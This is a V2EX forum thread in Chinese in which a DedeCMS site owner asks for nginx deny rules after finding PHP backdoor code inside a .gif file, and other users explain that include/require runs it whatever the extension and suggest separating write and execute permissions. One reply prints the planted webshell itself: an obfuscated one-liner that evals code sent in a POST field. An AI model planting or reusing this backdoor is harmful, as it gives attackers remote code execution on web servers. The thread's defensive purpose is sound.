网站被传了后门,php 代码写在一个 gif 后缀的文件里面, nginx 怎么写 deny 规则

2015-10-18 14:42:29 +08:00
 ab
程序是个 DEDE, 我只是禁止了一些比较敏感的目录.

想对文件类型对做一下限制,求个规则
10283 次点击
所在节点    NGINX
54 条回复
zur13l
2015-10-18 14:47:22 +08:00
location ~ /attachments/.*\.(php|php5)?$ {
deny all;
}
http://drops.wooyun.org/tips/1323
ab
2015-10-18 14:58:03 +08:00
@zur13l 这个是目录限制,我有的. 但是如果这目录里面有一个 gif 文件被植入了 php 代码,怎么禁止呢?
kn007
2015-10-18 15:00:49 +08:00
@ab 应该不能被执行吧?
你只对以.php 进行解析就好了。
ab
2015-10-18 15:02:28 +08:00
@kn007 是对.php 解析的. 但是还是被执行了
xfspace
2015-10-18 15:03:16 +08:00
@ab
0x05 需要解决的常见问题
0x06 Nginx 安全配置方案
lostsnow
2015-10-18 15:08:42 +08:00
应该是之前 pathinfo 的漏洞吧, 禁用 pathinfo 吧
LU35
2015-10-18 15:10:27 +08:00
@ab 装个安全狗扫下不是更简单嘛?
ab
2015-10-18 15:12:24 +08:00
@lostsnow 这应该是禁用的吧?


location ~ [^/]\.php(/|$)
{
# comment try_files $uri =404; to enable pathinfo
try_files $uri =404;
fastcgi_pass unix:/tmp/php-cgi.sock;
fastcgi_index index.php;
include fastcgi.conf;
#include pathinfo.conf;
}
lostsnow
2015-10-18 15:14:57 +08:00
ab
2015-10-18 15:25:51 +08:00
@lostsnow fix_pathinfo=0 是关闭的
kn007
2015-10-18 15:34:46 +08:00
@ab 上传个样本和被执行的请求吧。
ab
2015-10-18 15:57:58 +08:00
@kn007

<?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?>

ico-mood-16.gif 修改为 PHP 以后是这样的:

<?php ($tagdilst = $_POST['good']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($tagdilst)', 'add'); ?>
kongkongyzt
2015-10-18 16:02:24 +08:00
有没有人能解释一下,为什么.gif 文件会被 php 执行呀?
xfspace
2015-10-18 16:17:51 +08:00
@kongkongyzt include/require 某个文件,如果文件有<?php ?>就当成 PHP 来执行了
fengyqf
2015-10-18 16:20:49 +08:00
@ab
这行代码是哪个文件里的:
<?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?>
.gif 文件本身没有被执行,而是引入该 gif 的文件被 php 执行。
你禁止 templets 目录不会有任何作用。

建议按这样两个原则:
1 有 php 执行权限的目录,不允许 web 账号( php-fcgi 进程)的写入权限
2 有 web 账户有写入权限的目录(如模板目录,附件上传目录),不允许 php 执行权限。
zur13l
2015-10-18 16:33:30 +08:00
@ab 你只是看到里面有 PHP 代码,还是直接访问这个 gif 会被当成 php 执行
17 楼的 require_once 是哪个文件里面的
jamiesun
2015-10-18 16:35:16 +08:00
<?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?>
这里只是用了读取权限
tntsec
2015-10-18 17:08:31 +08:00
http://www.tntsec.com/439.html
从入侵谈防御之“黑不掉”的网站,论网站攻防,公测版
kn007
2015-10-18 17:18:18 +08:00
@ab include/require 肯定就被执行了啊。。。跟目录和什么文件类型没关系。。。
kn007
2015-10-18 17:20:45 +08:00
@ab 如果 ico-mood-16.gif 是本来就会有的文件,那么限制修改权限,不归所有。如果 ico-mood-16.gif 本来就是不能有的。那么查出他为什么会被上传。如果其所在目录是不需更改的,限定它。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/228961

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX